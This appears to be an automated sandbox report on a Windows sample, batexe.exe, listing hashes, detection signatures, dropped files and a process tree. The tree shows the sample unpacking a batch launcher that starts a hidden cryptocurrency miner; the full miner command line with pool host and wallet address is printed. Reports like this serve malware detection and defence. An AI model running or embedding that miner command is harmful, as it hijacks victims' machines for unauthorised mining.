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Analysis
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max time kernel
297s -
max time network
292s -
platform
windows10-2004_x64 -
resource
win10v2004-20240221-ja -
resource tags
arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
23/02/2024, 12:26
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240221-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20240221-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 4256 b2e.exe 5600 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 5600 cpuminer-sse2.exe 5600 cpuminer-sse2.exe 5600 cpuminer-sse2.exe 5600 cpuminer-sse2.exe 5600 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/4684-8-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4684 wrote to memory of 4256 4684 batexe.exe 91 PID 4684 wrote to memory of 4256 4684 batexe.exe 91 PID 4684 wrote to memory of 4256 4684 batexe.exe 91 PID 4256 wrote to memory of 404 4256 b2e.exe 92 PID 4256 wrote to memory of 404 4256 b2e.exe 92 PID 4256 wrote to memory of 404 4256 b2e.exe 92 PID 404 wrote to memory of 5600 404 cmd.exe 95 PID 404 wrote to memory of 5600 404 cmd.exe 95
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4684 -
C:\Users\Admin\AppData\Local\Temp\89C1.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\89C1.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\89C1.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4256 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8E84.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:404 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5600
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
12.3MB
MD5e06c656a3544be6b663de42b3099c756
SHA120b95509658827ff952be98f94dcf2d4e821e17d
SHA256abcc6cdd93257c50263cca51d3b715a75a813d5c428df2d8b5195f02f6da5cd2
SHA51265b03591530b789cca9cdbb265d28eadb9ce44d84ff5d45aef99f9dde5fe98c28b4579087d614657177d7fa4fbc779455c1b36cdc457e22c16065b546a1c05aa
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Filesize
1.1MB
MD5a43a8e689cd5eb2690d211c1d48e729a
SHA192acd696234142bf22c8b5f1c1af459f38dc3bf4
SHA256de564130f2706db8cccf91eb5cda9c55b9cb1cf5c775c3eee2d27c4c63ae5adc
SHA512d804a9846c745cebd70e25fc740f2d8ab555e3b66ec9a1199539d08a0bf9c7cc4d2122eb5fb65ad6192835649fc0cc55f08ea2572c131c6b1931be3d30991182
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Filesize
768KB
MD541acb3c7c35169437c8e50c36e39f5a5
SHA16b7a95c8fb404247edb7430b46e931495eeba0d1
SHA25677003c5f07279f31ace3879feb99ce0568a05bc7bc56ecd5707bc0581cb6016a
SHA512670b258078f3ccd9e3e710a994d95d406094dab87b4e4e11e3b312a7883631877ea896bc53150cb8b9bb8a0500df129005973212fce0541978df505edbe7d145
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
5.6MB
MD59e080c2fa098a18032868b74edcdad78
SHA1fc1e64eed0d449700b18d9d8d20c2c2e50875b4c
SHA2568675e8bea0e9600f172c066331714e2880b69115169f581f813b0bfad01bcba4
SHA5122ea8e8e5ad5296ead1152eb58d639e89b0f19d2c6649a3fc5d9c1406d545b9bc839d7f22adc5ff52517c9e3cfca2ab5f26a20086df95230ecced8b96fd924fbc
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Filesize
5.1MB
MD5361575d9475bdf57e8236f74c879a2e9
SHA1dbaf40b1ff849e265f23f190fe90791464474746
SHA256d58e4e555b337ab76527240e022c93a6fd777549bfb40879805b1da0a39a295b
SHA5121b6f381b74b0483e2c2292c4c8867fc90957a13b4d1c9e6bc6879c0300ffddc9c342dfa9491147f871039700830ddf1abf273aac05b0cd16e07d6b2dafa9f350
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Filesize
4.5MB
MD5efc5f3f63a42a1221e43cde0b3d176e6
SHA1364d8fcd58c71fe93c679e09d8a97adb9c4bf764
SHA256ae95238305370e6544165a1000c9ed4ad62b3923b78b637979ae9b152b0111fe
SHA51265949455ff98e79cb1e7c84559a49d880aaee0d3576b55bc054581ce91cc630c420856ce8755124e3e3fdbb8ced27f32bb28478f633ca1a820d98372bacda06a
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770